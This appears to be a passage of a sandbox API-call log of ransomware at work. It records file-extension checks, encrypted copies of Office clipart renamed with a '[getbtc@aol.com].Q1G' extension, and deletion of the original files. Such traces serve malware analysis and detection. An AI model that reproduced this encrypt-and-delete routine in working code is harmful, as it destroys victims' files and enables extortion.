[0264.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.744] lstrlenW (lpString=".xlsx") returned 5 [0264.745] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0264.745] lstrlenW (lpString=".ppt") returned 4 [0264.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0264.745] lstrlenW (lpString=".zip") returned 4 [0264.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.745] lstrlenW (lpString=".rar") returned 4 [0264.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.745] lstrlenW (lpString=".bz2") returned 4 [0264.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.745] lstrlenW (lpString=".7z") returned 3 [0264.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0264.745] lstrlenW (lpString=".dbf") returned 4 [0264.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0264.745] lstrlenW (lpString=".1cd") returned 4 [0264.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0264.745] lstrlenW (lpString=".jpg") returned 4 [0264.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0264.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0264.745] lstrlenW (lpString=".doc") returned 4 [0264.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.745] lstrlenW (lpString=".docx") returned 5 [0264.745] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0264.745] lstrlenW (lpString=".pdf") returned 4 [0264.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.745] lstrlenW (lpString=".xls") returned 4 [0264.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.745] lstrlenW (lpString=".xlsx") returned 5 [0264.745] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0264.745] lstrlenW (lpString=".ppt") returned 4 [0264.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0264.745] lstrlenW (lpString=".zip") returned 4 [0264.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.746] lstrlenW (lpString=".rar") returned 4 [0264.746] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.746] lstrlenW (lpString=".bz2") returned 4 [0264.746] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.746] lstrlenW (lpString=".7z") returned 3 [0264.746] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0264.746] lstrlenW (lpString=".dbf") returned 4 [0264.746] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0264.746] lstrlenW (lpString=".1cd") returned 4 [0264.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF") returned 63 [0264.746] lstrlenW (lpString=".jpg") returned 4 [0264.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.746] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.746] lstrlenW (lpString="J0185778.WMF") returned 12 [0264.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.747] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=25312) returned 1 [0264.747] CloseHandle (hObject=0x3d8) returned 1 [0264.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf")) returned 0x20 [0264.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.748] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.748] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0264.749] GetLastError () returned 0x0 [0264.749] ReadFile (in: hFile=0x3d8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x62e0, lpOverlapped=0x0) returned 1 [0264.751] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x62f0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x62f0, lpOverlapped=0x0) returned 1 [0264.752] ReadFile (in: hFile=0x3d8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.752] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.752] SetEndOfFile (hFile=0x39c) returned 1 [0264.752] CloseHandle (hObject=0x39c) returned 1 [0264.752] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.752] SetEndOfFile (hFile=0x3d8) returned 1 [0264.754] CloseHandle (hObject=0x3d8) returned 1 [0264.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf")) returned 1 [0264.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0264.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0264.755] lstrlenW (lpString=".doc") returned 4 [0264.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.755] lstrlenW (lpString=".docx") returned 5 [0264.755] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0264.756] lstrlenW (lpString=".pdf") returned 4 [0264.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.756] lstrlenW (lpString=".xls") returned 4 [0264.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.756] lstrlenW (lpString=".xlsx") returned 5 [0264.756] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0264.756] lstrlenW (lpString=".ppt") returned 4 [0264.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0264.756] lstrlenW (lpString=".zip") returned 4 [0264.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.756] lstrlenW (lpString=".rar") returned 4 [0264.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.756] lstrlenW (lpString=".bz2") returned 4 [0264.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.756] lstrlenW (lpString=".7z") returned 3 [0264.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0264.756] lstrlenW (lpString=".dbf") returned 4 [0264.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0264.756] lstrlenW (lpString=".1cd") returned 4 [0264.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0264.756] lstrlenW (lpString=".jpg") returned 4 [0264.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0264.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0264.756] lstrlenW (lpString=".doc") returned 4 [0264.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.756] lstrlenW (lpString=".docx") returned 5 [0264.756] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0264.756] lstrlenW (lpString=".pdf") returned 4 [0264.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.756] lstrlenW (lpString=".xls") returned 4 [0264.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.756] lstrlenW (lpString=".xlsx") returned 5 [0264.756] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0264.757] lstrlenW (lpString=".ppt") returned 4 [0264.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0264.757] lstrlenW (lpString=".zip") returned 4 [0264.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.757] lstrlenW (lpString=".rar") returned 4 [0264.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.757] lstrlenW (lpString=".bz2") returned 4 [0264.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.757] lstrlenW (lpString=".7z") returned 3 [0264.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0264.757] lstrlenW (lpString=".dbf") returned 4 [0264.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0264.757] lstrlenW (lpString=".1cd") returned 4 [0264.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned 63 [0264.757] lstrlenW (lpString=".jpg") returned 4 [0264.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.757] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.757] lstrlenW (lpString="J0185780.WMF") returned 12 [0264.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.758] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=59734) returned 1 [0264.758] CloseHandle (hObject=0x3d8) returned 1 [0264.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf")) returned 0x20 [0264.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.758] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.758] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0264.759] GetLastError () returned 0x0 [0264.759] ReadFile (in: hFile=0x3d8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xe956, lpOverlapped=0x0) returned 1 [0264.761] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xe960, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe960, lpOverlapped=0x0) returned 1 [0264.763] ReadFile (in: hFile=0x3d8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.763] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.763] SetEndOfFile (hFile=0x39c) returned 1 [0264.763] CloseHandle (hObject=0x39c) returned 1 [0264.763] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.763] SetEndOfFile (hFile=0x3d8) returned 1 [0264.766] CloseHandle (hObject=0x3d8) returned 1 [0264.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf")) returned 1 [0264.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0264.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0264.767] lstrlenW (lpString=".doc") returned 4 [0264.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.767] lstrlenW (lpString=".docx") returned 5 [0264.767] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0264.767] lstrlenW (lpString=".pdf") returned 4 [0264.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.767] lstrlenW (lpString=".xls") returned 4 [0264.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.767] lstrlenW (lpString=".xlsx") returned 5 [0264.767] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0264.767] lstrlenW (lpString=".ppt") returned 4 [0264.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0264.767] lstrlenW (lpString=".zip") returned 4 [0264.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.767] lstrlenW (lpString=".rar") returned 4 [0264.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.767] lstrlenW (lpString=".bz2") returned 4 [0264.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.767] lstrlenW (lpString=".7z") returned 3 [0264.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0264.767] lstrlenW (lpString=".dbf") returned 4 [0264.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0264.767] lstrlenW (lpString=".1cd") returned 4 [0264.767] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0264.768] lstrlenW (lpString=".jpg") returned 4 [0264.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0264.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0264.768] lstrlenW (lpString=".doc") returned 4 [0264.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.768] lstrlenW (lpString=".docx") returned 5 [0264.768] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0264.768] lstrlenW (lpString=".pdf") returned 4 [0264.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.768] lstrlenW (lpString=".xls") returned 4 [0264.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.768] lstrlenW (lpString=".xlsx") returned 5 [0264.768] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0264.768] lstrlenW (lpString=".ppt") returned 4 [0264.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0264.768] lstrlenW (lpString=".zip") returned 4 [0264.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.768] lstrlenW (lpString=".rar") returned 4 [0264.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.768] lstrlenW (lpString=".bz2") returned 4 [0264.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.768] lstrlenW (lpString=".7z") returned 3 [0264.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0264.768] lstrlenW (lpString=".dbf") returned 4 [0264.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0264.769] lstrlenW (lpString=".1cd") returned 4 [0264.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0264.769] lstrlenW (lpString=".jpg") returned 4 [0264.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.769] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.769] lstrlenW (lpString="J0185786.WMF") returned 12 [0264.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.769] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=39330) returned 1 [0264.769] CloseHandle (hObject=0x3d8) returned 1 [0264.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf")) returned 0x20 [0264.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.770] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.770] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0264.771] GetLastError () returned 0x0 [0264.771] ReadFile (in: hFile=0x3d8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x99a2, lpOverlapped=0x0) returned 1 [0264.772] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x99b0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x99b0, lpOverlapped=0x0) returned 1 [0264.774] ReadFile (in: hFile=0x3d8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.774] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.774] SetEndOfFile (hFile=0x39c) returned 1 [0264.774] CloseHandle (hObject=0x39c) returned 1 [0264.774] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.774] SetEndOfFile (hFile=0x3d8) returned 1 [0264.776] CloseHandle (hObject=0x3d8) returned 1 [0264.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf")) returned 1 [0264.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0264.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0264.777] lstrlenW (lpString=".doc") returned 4 [0264.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.777] lstrlenW (lpString=".docx") returned 5 [0264.777] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0264.777] lstrlenW (lpString=".pdf") returned 4 [0264.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.777] lstrlenW (lpString=".xls") returned 4 [0264.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.778] lstrlenW (lpString=".xlsx") returned 5 [0264.778] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0264.778] lstrlenW (lpString=".ppt") returned 4 [0264.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0264.778] lstrlenW (lpString=".zip") returned 4 [0264.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.778] lstrlenW (lpString=".rar") returned 4 [0264.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.778] lstrlenW (lpString=".bz2") returned 4 [0264.778] lstrcmpiW (lpString1=".bz2", 